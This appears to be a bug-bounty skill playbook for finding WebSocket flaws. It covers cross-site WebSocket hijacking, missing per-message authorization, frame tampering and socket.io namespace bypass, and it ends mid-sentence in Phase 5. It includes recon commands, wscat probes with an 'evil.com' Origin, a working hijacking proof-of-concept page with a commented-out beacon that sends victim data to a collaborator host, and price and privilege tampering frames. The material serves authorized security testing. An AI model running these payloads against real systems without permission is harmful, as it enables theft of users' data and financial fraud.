---

name: hunt-websocket description: "Hunt WebSocket vulnerabilities — Cross-Site WebSocket Hijacking (CSWSH), missing/weak Origin validation on the WS handshake, no per-message authentication, message tampering, socket.io namespace/room authorization bypass, and handshake-layer Upgrade smuggling. Use when target has WebSocket endpoints (ws:// or wss://), socket.io / SignalR / Phoenix Channels, real-time features, chat, live dashboards, notifications, or trading platforms." sources: hackerone_public, portswigger_research, cve report_count: 11

HUNT-WEBSOCKET — WebSocket Security

Crown Jewel Targets

CSWSH (Cross-Site WebSocket Hijacking) with a cookie-authenticated handshake and no CSRF/per-connection token = High–Critical (real-time exfil of any logged-in victim's data).

Highest-value chains:

• CSWSH → data exfil / ATO — handshake authenticates via ambient cookie, no CSRF token, Origin not enforced → attacker page opens WS as the victim and streams their messages/PII/tokens. If the stream carries a session/refresh/CSRF token, this escalates to ATO.
• No per-message auth — HTTP/handshake auth present but individual WS frames are not re-authorized → privileged messages accepted (deleteUser, getSecretConfig).
• Message tampering — modify in-flight frames (price, qty, userId, amount) in trading/game/checkout apps → financial fraud.
• socket.io namespace / room authz bypass — connect to a privileged namespace or join another user's room without a permission check → cross-tenant real-time exfil.
• Handshake-layer Upgrade smuggling — a malformed Upgrade/Connection/Sec-WebSocket-* handshake makes the front proxy and origin disagree on whether an upgrade occurred → request-smuggling tunnel.

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Grounding — Reference Cases (read before hunting)

These are public, verifiable references. Use them to calibrate what a real WS finding looks like and how it was proven. Do not invent additional report IDs or payouts.

| # | Source / ID | Class | Lesson | |---|-------------|-------|--------| | 1 | PortSwigger Web Security Academy — "Cross-site WebSocket hijacking" (research + labs) | CSWSH | Canonical CSWSH model: cookie-auth handshake + no CSRF token + missing Origin check → attacker reads/sends as victim. The authoritative methodology. | | 2 | Christian Schneider — "Cross-Site WebSocket Hijacking (CSWSH)" (original disclosure/write-up, 2013) | CSWSH | First public CSWSH technique: cookie-auth handshake + no Origin enforcement; PoC must prove victim-data receipt in the attacker browser, not just a 101. | | 3 | Coda CSWSH (referenced in this repo's hunt-csrf set) | CSWSH | Real-time collab apps commonly authenticate the socket purely via cookie; Origin allow-listing was the missing control. | | 4 | CVE-2020-7662 — websocket-extensions (Node) ReDoS | DoS | A crafted Sec-WebSocket-Extensions header triggers catastrophic backtracking — handshake header is an attack surface, not just frames. | | 5 | CVE-2024-37890 — ws (Node) DoS | DoS | Many handshake request headers exhaust the server; confirms the handshake itself is parser-attackable pre-frames. | | 6 | Outdated socket.io / Engine.IO stacks | socket.io | Motivates the version-fingerprint step in Phase 7 — fingerprint the version, then check that release's known advisories. |

Only the four CVEs above are asserted with exact IDs because they are verifiable. For any case where you are not certain of the exact identifier, describe the technique with no citation — a wrong CVE is worse than none.

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Phase 1 — Discover WebSocket Endpoints

# Grep JS for WS connections (handshake URLs, socket.io clients)
grep -rE "new WebSocket|io\(|io\.connect|socket\.io|new SockJS|signalr|Phoenix\.Socket|wss?://" \
  recon/$TARGET/ --include="*.js" 2>/dev/null | \
  grep -oE "(wss?://[^'\"]+|/[a-zA-Z0-9/_.-]*socket[^'\"]*|/signalr[^'\"]*|/cable\b)" | sort -u

# Crawl URLs for realtime hints
grep -iE "socket|/ws\b|websocket|stream|realtime|live|chat|events|/cable|/signalr|notifications" \
  recon/$TARGET/urls.txt | sort -u

# Probe handshake (101 = upgrade supported)
curl -sI -o /dev/null -w "%{http_code}\n" \
  -H "Connection: Upgrade" -H "Upgrade: websocket" \
  -H "Sec-WebSocket-Version: 13" \
  -H "Sec-WebSocket-Key: $(head -c16 /dev/urandom | base64)" \
  "https://$TARGET/ws"

# socket.io polling handshake leaks version + sid
curl -s "https://$TARGET/socket.io/?EIO=4&transport=polling" | head -c 300; echo

# Non-standard WS ports
nmap -sV -p 80,443,3000,3001,8080,8443,8888,9000 $TARGET 2>/dev/null | grep open

In Burp Pro, use get_proxy_websocket_history (and the WebSockets tab) after browsing the app to enumerate live sockets, message schemas, and which frames carry auth-sensitive data.

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Phase 2 — CSWSH (Cross-Site WebSocket Hijacking)

CSWSH requires THREE conditions together: (a) the handshake authenticates via an ambient credential (cookie sent automatically), (b) there is no unpredictable per-connection token in the handshake (no CSRF token / no token in URL/body), and (c) the server does not enforce Origin. Missing any one breaks the attack.

# Step 1 — Confirm handshake auth model in DevTools → Network → WS → Headers.
#   Look for: Cookie: session=...  AND  the ABSENCE of any per-request token
#   (no ?token=, no Sec-WebSocket-Protocol carrying a bearer, no body nonce).
#   If a unique token rides the handshake, CSWSH is NOT exploitable cross-site.

# Step 2 — Probe Origin enforcement (this is a SIGNAL, not a confirmation)
wscat -c "wss://$TARGET/ws" \
  --header "Origin: https://evil.com" \
  --header "Cookie: session=YOUR_SESSION"
# A 101 from a foreign Origin only proves the handshake opened.
# It does NOT confirm CSWSH — the server may still validate Origin at the
# message layer, refuse to stream authenticated data, or require a token
# in the first app-level frame. Treat 101 as "candidate", move to Step 3.

<!-- Step 3 — Real PoC: host on attacker origin, open while a SEPARATE victim
     account is logged into TARGET in the same browser. The bug is only
     confirmed if attacker JS RECEIVES the victim's data (or successfully
     sends a privileged frame). Cross-origin JS cannot set Origin/Cookie —
     the browser does, which is exactly the threat model. -->
<html><body><pre id="out"></pre><script>
var marker = "CSWSH-" + Math.random().toString(36).slice(2);   // unique per run
var ws = new WebSocket("wss://TARGET/ws");                     // attacker cannot forge Origin
ws.onopen = () => {
  log("[+] 101 opened from attacker origin");
  ws.send(JSON.stringify({type:"subscribe", channel:"user_notifications", _m:marker}));
};
ws.onmessage = e => {
  log("VICTIM-DATA: " + e.data);
  // Exfil PROOF to your Collaborator/listener so receipt is logged out-of-band:
  // navigator.sendBeacon("https://<collab-id>.oastify.com/cswsh?d=" + encodeURIComponent(e.data));
};
ws.onerror = e => log("ERR (likely Origin/auth rejected at message layer)");
function log(s){document.getElementById("out").textContent += s + "\n";}
</script></body></html>

False-positive killers:

• A completed 101 from Origin: evil.com is NOT a finding. Many servers accept the upgrade and then send nothing, or close on the first authenticated frame.
• Verify the data you receive belongs to a different account than the attacker, using a unique marker / distinct victim PII you planted in account B.
• Exfil the received payload to Burp Collaborator / an OAST listener so receipt is recorded out-of-band — this is your impact proof for the report.
• If a per-connection token rides the handshake (in the URL, a sub-protocol, or the first frame), CSWSH is not cross-site exploitable; downgrade or drop.

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Phase 3 — Missing / Weak Authentication on WS Messages

Handshake auth ≠ per-message auth. Apps often authenticate the socket once, then trust every subsequent frame.

# No cookie at all — does the server process app frames?
wscat -c "wss://$TARGET/ws"
# > {"type":"getUserData","userId":1}
# > {"type":"getAdminPanel"}

# Low-priv session sending high-priv actions
wscat -c "wss://$TARGET/ws" --header "Cookie: session=LOW_PRIV_SESSION"
# > {"action":"deleteUser","userId":999}
# > {"action":"getSecretConfig"}

Validate: the privileged action must produce a real effect (a deleted test user, returned secret config, a state change visible via a second channel) — a frame that is accepted and silently ignored is not a finding. Re-run as an unauthenticated client to confirm the action is not simply broadcast to everyone harmlessly.

Replay of Signed Messages

If messages carry signatures (e.g., {"type":"payment","amount":100,"signature":"..."}), test replay for freshness and session binding. Capture a signed message and test: (a) time-window bypass: replay the message after its expiry timestamp (clock skew/validation gap), (b) session bypass: capture a signed message from user A's session and replay it in user B's session — if accepted, the signature was not bound to the user/session ID. Use Burp Repeater to store and replay signed frames, or reconstruct the same message in wscat after a time window has passed.

Business Logic Abuse: State Machine Bypass & Rate Limit Evasion

Stateful protocols (e.g., a trading platform expecting connect → authenticate → verify_balance → place_order) may accept messages out of order or skip prerequisites. Test: (a) state skip: connect and immediately send place_order without authenticate or verify_balance first — many stacks don't enforce strict ordering if individual message validation is missing, (b) high-frequency spam: send identical or high-volume messages rapidly to bypass WS-layer rate limits (different from HTTP rate limits) — test 100s of messages/second to see if the server throttles, returns 429, or closes the connection. If it accepts and processes all, this can abuse business logic (e.g., many small payments to bypass amount caps, or rapid subscriptions to exhaust resources).

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Phase 4 — Message Tampering (Financial / Game / Checkout)

# Intercept + edit in Burp (Proxy → WebSockets history → right-click → Send to
# Repeater, or edit-and-forward). Try server-trusted client values:
#   {"price":100}      -> {"price":0.01}
#   {"amount":1}       -> {"amount":9999}
#   {"userId":123}     -> {"userId":1}        # impersonate admin
#   {"orderTotal":...} -> recompute downstream?

# wscat replay of a tampered frame
wscat -c "wss://$TARGET/trade" --header "Cookie: session=SESSION"
# > {"action":"buy","amount":1,"price":0.01}

Validate: the tampered value must persist server-side — confirm via the REST/order API or a fresh socket that the order/balance/price actually reflects the manipulation. Many UIs echo your own frame back optimistically; that echo is NOT proof. Demonstrate financial/state impact, ideally on a sandbox/test instrument.

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Phase 5 — socket.io / SignalR / Phoenix Namespace & Room Authz Bypass

Engine.IO/socket.io is a protocol layered over the raw WebSocket. Packet prefixes (Engine.IO 4=MESSAGE wrapping socket.io 0=CONNECT, 1=DISCONNECT, 2=EVENT) carry namespace/room intent. Authorization must be checked when joining; often it isn't.

# 1) Open the raw socket.io WebSocket (Engine.IO v4)
wscat -c "wss://$TARGET/socket.io/?EIO=4&transport=websocket" \
  --header "Cookie: session=YOUR_SESSION"

# 2) Respond to the server's Engine.IO OPEN ('0{...}') so the connection lives,
#    then CONNECT to a namespace with a socket.io CONNECT packet.
#    CORRECT packet to join the /admin namespace:  40/admin,
#       4 = Engine.IO MESSAGE,  0 = socket.io CONNECT,  /admin, = namespace
#    (NOT a ?nsp= query param — see Phase 7. NOT 42 — 42 is MESSAGE+EVENT.)
# > 40/admin,
#    Server replies 40/admin,{"sid":"..."} on success, or 44/admin,{...} (error)
#    on rejection. A 40 success to a privileged namespace